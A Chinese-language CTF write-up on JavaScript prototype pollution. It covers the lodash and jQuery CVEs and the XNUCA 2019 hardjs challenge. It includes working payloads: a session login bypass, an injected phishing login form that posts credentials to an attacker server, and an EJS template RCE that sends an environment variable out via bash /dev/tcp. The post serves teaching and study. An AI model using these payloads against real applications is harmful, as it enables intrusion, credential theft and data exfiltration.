Prototype Pollution Notes

To begin with

了解原型链污染比较晚,从今年的 TCTF FINAL 到 REDPWN,再到 XNUCA,才算是慢慢开始理解这种攻击的用法以及利用的场景。

看了很多资料,感觉 P 神的深入理解 JavaScript Prototype 污染攻击必看,而本篇水文在前文的基础上,以 XNUCA 2019 hardjs 为例,简单写一下自己的理解,我太菜了。

这里用一篇图解博客来说明prototype__proto__constructor

function Foo() {...};
let f1 = new Foo();

以上代码表示创建一个构造函数 Foo(),并用 new 关键字实例化该构造函数得到一个实例化对象 f1。这里稍微补充一下 new 操作符将函数作为构造器进行调用时的过程:函数被调用,然后新创建一个对象,并且成了函数的上下文(也就是此时函数内部的 this 是指向该新创建的对象,这意味着我们可以在构造器函数内部通过 this 参数初始化值),最后返回该新对象的引用。虽然是简简单单的两行代码,然而它们背后的关系却是错综复杂的,如下图所示

图片虽然很详细,但不是很好理解,这里先对三个属性进行介绍

__proto__ 属性,它是对象所独有的,可以看到__proto__属性都是由一个对象指向一个对象,即指向它们的原型对象(也可以理解为父对象),那么这个属性的作用是什么呢?它的作用就是当访问一个对象的属性时,如果该对象内部不存在这个属性,那么就会去它的__proto__属性所指向的那个对象(可以理解为父对象)里找,如果父对象也不存在这个属性,则继续往父对象的__proto__属性所指向的那个对象(可以理解为爷爷对象)里找,如果还没找到,则继续往上找…直到原型链顶端 null

prototype 属性,它是函数所独有的,它是从一个函数指向一个对象。它的含义是函数的原型对象,也就是这个函数(其实所有函数都可以作为构造函数)所创建的实例的原型对象,由此可知:f1.__proto__ === Foo.prototype,它们两个完全一样。

constructor 属性也是对象才拥有的,它是从一个对象指向一个函数,含义就是指向该对象的构造函数,每个对象都有构造函数。

首先,我们需要牢记两点:①__proto__constructor 属性是对象所独有的;② prototype 属性是函数所独有的。但是由于 JS 中函数也是一种对象,所以函数也拥有 __proto__constructor 属性,这点是致使我们产生困惑的很大原因之一。

我们以 __proto__ 为例。f1.__proto__ 指向了 对象 f1 的原型对象,上图中对应的 Foo.prototype 正是 Foo 函数所创建的实例的原型对象。个人认为 f1 的原型对象可以理解为 是 Foo 这个(抽象的且已实现的)对象,而 Foo 对象的原型 Foo.__proto__ 指向了 Function 这个(抽象的且并未实现的)对象。(仅作为个人便于理解的解释,可能并不准确)。

从这张图我们也可以看出,f1Foo 从继承角度来看其实属于同一个级别。

继续往下一层来看,f1.__proto__ 的原型对象 f1.__proto__.__proto__ 指向了 Object.prototype。在这里就比较容易理解了,这里 Object 作为函数,Object.prototype 便指向了原型链最顶层的对象,相当于初始父对象。这里需要注意的是,a=new Object();,那么a.__proto__ 指向这个初始父对象。当然,这个父对象的原型就是 null 了,因为它已经没有原型了。

到这里,基本的概念就算介绍完毕了,还需要强调的就是原型链:
__proto__ 属性的作用就是当访问一个对象的属性时,如果该对象内部不存在这个属性,那么就会去它的 __proto__ 属性所指向的那个对象(父对象)里找,一直找,直到 __proto__ 属性的终点 null,再往上找就相当于在 null 上取值,会报错。通过 __proto__ 属性将对象连接起来的这条链路即我们所谓的原型链。

如果我们在原型链的某个父节点上添加属性,那么就会影响没有该属性子节点,当然子节点必须要获取这个属性才会触发向父节点的搜索。那么我们只需要修改 f1.__proto__.__proto__.hack=xxx ,就可以从任意其他实例对象中获取到指定的值。

Real World Prototype Pollution

P 神的博客提到了 lodash.merge 在合并时没考虑到 __proto__ 属性导致了原型链污染的问题,在实际环境中存在相似的函数。

这里截取了一位大佬的 code breaking wp hard - thejs 的一部分。

在这部分,主要介绍两个原型链污染漏洞(从时间上来看,稍微新一点

lodash.defaultsDeep CVE-2019-10744

具体的内容可查看:https://snyk.io/vuln/SNYK-JS-LODASH-450202

POC 如下:

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
  }

check();

由于之前直接覆盖 __proto__ 已经被修复了,在这里只能通过调用 lodash.defaultsDeep 时,使用 constructor 来覆盖 prototype 属性,达到原型链污染的效果。

jQuery.extend CVE-2019-11358

在 jQuery < 3.4.0 的版本中,存在这个漏洞,从而导致原型链污染,和上面不同的是,这个污染只能影响前端的解析,需要根据具体的情况加以利用,总体来看利用起来难度比较大。

let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true

根据上面的 POC 可以看出,触发点在于 $.extend,那我们只要定位到这个函数就可以了。

然而根据之前我们知道的内容,原型链污染目的是在父对象中插入某个属性的值,达到污染内容的目的,但触发的条件是调用未定义属性值时的向父对象查找,在前端中语法相对固定,很难找到调用未定义的属性值,这可能也是导致这个漏洞利用起来很困难的一个原因,但我们可以观察一个例子

可以发现虽然没有直接去调用 injection 这个成员,但是也能通过其他方式去触发这个成员属性。

XUNCA 2019 Hardjs

源码在 XNUCA 2019 hardjs

已知信息

我们已经知道后端存在一个原型链污染,在 /get 路由中,根据代码逻辑

    var userid = req.session.userid ; 
    var sql = "select count(*) count from `html` where userid= ?"
    // var sql = "select `dom` from  `html` where userid=? ";
    var dataList = await query(sql,[userid]);
    
    if(dataList[0].count == 0 ){
        res.json({})

    }else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
        
        console.log("Merge the recorder in the database."); 

        var sql = "select `id`,`dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var doms = {}
        var ret = new Array(); 

        for(var i=0;i<raws.length ;i++){
            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

            var sql = "delete from `html` where id = ?";
            var result = await query(sql,raws[i].id);
        }
        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(doms) ]);

可以看到当条数大于五条时会触发合并操作,从而导致原型链污染。

不过这里特殊一点的是,传入的数据包裹在数组里,但是可能因为进行了递归解析,并不影响最终结果,我们继续看一下能够利用的点。

并且,flag 保存在主机的环境变量以及登录所用的密码中,所以我们考虑两种方法,一是 XSS 伪造登录窗口,一是通过 RCE 直接获取 flag。

attack on frontend

在 handler 中,有一个检测是否登录的函数

function auth(req,res,next){
    // var session = req.session;
    if(!req.session.login || !req.session.userid ){
        res.redirect(302,"/login");
    } else{
        next();
    }    
}

如果在没有 session 的情况下,那么这两个属性就是未定义的状态,那么我们可以通过原型链污染来绕过检测。那绕过检测有什么作用呢,bot 在登录时会跳过预期的登录步骤,那么我们在正常界面里能插入伪造的登录页面吗?

读一遍 server 的代码,发现我们可以向服务器提交数据,并且几乎没有过滤。但是仔细看 bot 的脚本,发现

usernameForm = client.find_element_by_xpath("//input[@name='username']")
passwordForm = client.find_element_by_xpath("//input[@name='password']")

使用 XPATH 指定了元素的位置,而我们在 sandbox 中获取到的元素是类似 //*[@name="username"] 的,根本无法匹配到。另外,如果我们在其中使用 js 来操作( bot 启动时关闭了 xss-auditor ),可以看到 chrome 也给出了提示 Blocked script execution in 'http://xx/sandbox' because the document's frame is sandboxed and the 'allow-scripts' permission is not set. 那我们在其中嵌入脚本也行不通了。

那我们现在的思路是,如果要写一个可控内容的页面的话,必须写在 sandbox 页面外,这样才能匹配到或者说能够执行 js。

我们可以发现在前端使用了有漏洞的 jQuery 版本

function getAll(allNode){
	$.ajax({
		url:"/get",
		type:"get",
		async:false,
		success: function(datas){
			for(var i=0 ;i<datas.length; i++){
				$.extend(true,allNode,datas[i])
			}
			// console.log(allNode);
		}
	})
}

并且在拉取数据时调用了 extend,那我们可以考虑攻击原型链。

可以注意到之后页面在加载时对页面进行了动态渲染

	(function(){
		var hints = {
			header : "自定义内容",
			notice: "自定义公告",
			wiki : "自定义wiki",
			button:"自定义内容",
			message: "自定义留言内容"
		};
		for(key in hints){
			// console.log(key);
			element = $("li[type='"+key+"']"); 
			if(element){
				element.find("span.content").html(hints[key]);
			}
		}
	})();

可以看到对指定 type 的 content 标签进行了赋值,那我们如果要控制其中内容的话,需要找到一个具有 type 和 content 的标签,那刚好就是 logger 了。

      <li type="logger">
          <div class="col-sm-12 col-sm-centered">
              <pre class="am-pre-scrollable">
                  <span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span>
              </pre>
          </div>
      </li>

可以看到 index.ejs 中的 logger 刚好满足要求。

剩下的就是传入一个伪造的登录页面了。

登录后,先提交以绕过登录,满六次后刷新页面触发 merge 操作。
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}

清空 cookie,刷新页面,可发现已经绕过了登录。再提交:
{"type":"test","content":{"__proto__":{"logger":"<form action='http://xxx/' method='post' class='am-form'><input type='text' name='username' id='email' value=''><input type='password' name='password' id='password' value=''><input type='ubmit' name='' ></form>"}}

等待 bot 访问,就可以在 vps 拿到 flag 了。

另外也可以直接嵌入一个跳转 <script>window.location='http://xx/'</script>,构造个钓鱼页就 ok。

膜 kun 神,前后端组合利用太强了。。

attack on backend

前端的攻击很巧妙,但是比较难发现,而寻找后端漏洞,需要进一步观察源码,在 server.js 中已经没有触发未定义值得语句了,但在渲染时可发现后端使用了 ejs 模板引擎,其中可能存在某些拼接的情况,跟进去看一下。

我们先跟进去默认情况下最先渲染的 login 页面。

server.js:106
    res.render('login_register',{

可以发现进入了 response.js,我们的目的是看一下 ejs.js,其他的内容先快速跳过。在其中调用了

response.js:1012
  app.render(view, opts, done);

继续跟,application.js,在最后是 tryRender,一直跟进去可以发现在 view.js 调用了 this.engine(this.path, options, callback);,跟进去就到了 ejs.js 中的 renderFile。其中又调用了 tryHandleCache,跟进其中可以发现进入了另一个分支:

ejs.js:254:
    try {
      result = handleCache(options)(data);
    }
    catch (err) {
      return cb(err);
    }

handleCache 应该是返回了一个函数,继续看,在 handleCache 中我们发现了 compile

//ejs.js:215:

  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
  
//ejs.js:375:
  exports.compile = function compile(template, opts) {
  var templ;

  // v1 compat
  // 'scope' is 'context'
  // FIXME: Remove this in a future version
  if (opts && opts.scope) {
    if (!scopeOptionWarned){
      console.warn('`scope` option is deprecated and will be removed in EJS 3');
      scopeOptionWarned = true;
    }
    if (!opts.context) {
      opts.context = opts.scope;
    }
    delete opts.scope;
  }
  templ = new Template(template, opts);
  return templ.compile();
};

可以发现根据读入的文件内容(login 模板)创建了 templ 对象,并进行了 compile,截取了部分源码。

  compile: function () {
    var src;
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    var escapeFn = opts.escapeFunction;
    var ctor;

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

    if (opts.compileDebug) {
      src = 'var __line = 1' + '\n'
        + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
        + '  , __filename = ' + (opts.filename ?
        JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
        + 'try {' + '\n'
        + this.source
        + '} catch (e) {' + '\n'
        + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
        + '}' + '\n';
    }
    else {
      src = this.source;
    }

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

    if (opts.strict) {
      src = '"use strict";\n' + src;
    }
    if (opts.debug) {
      console.log(src);
    }

可以发现在模板中,opts 的属性值被用到了多次,我们可以看一下此时的 opts 的值:

显然,opts.outputFunctionName 是未定义的,那我们就可以使用原型链来赋值,从而可以使得在 compile 的过程中 RCE。

这里直接给出出题人的 payload
{"type":"test","content":{"constructor":{"prototype": {"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

出题人给出了第二个 RCE 的位置,即 var escapeFn = opts.escapeFunction; 在后面也拼接进入了模板中,但是在本地复现的过程中,该变量是被赋值的。

Ref

  1. 深入理解 JavaScript Prototype 污染攻击
  2. 帮你彻底搞懂JS中的prototype、__proto__与constructor(图解)
  3. CODE BREAKING 解题思路
  4. XNUCA2019Qualifier/Web/hardjs
  5. XNUCA2019 Hardjs题解 从原型链污染到RCE

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus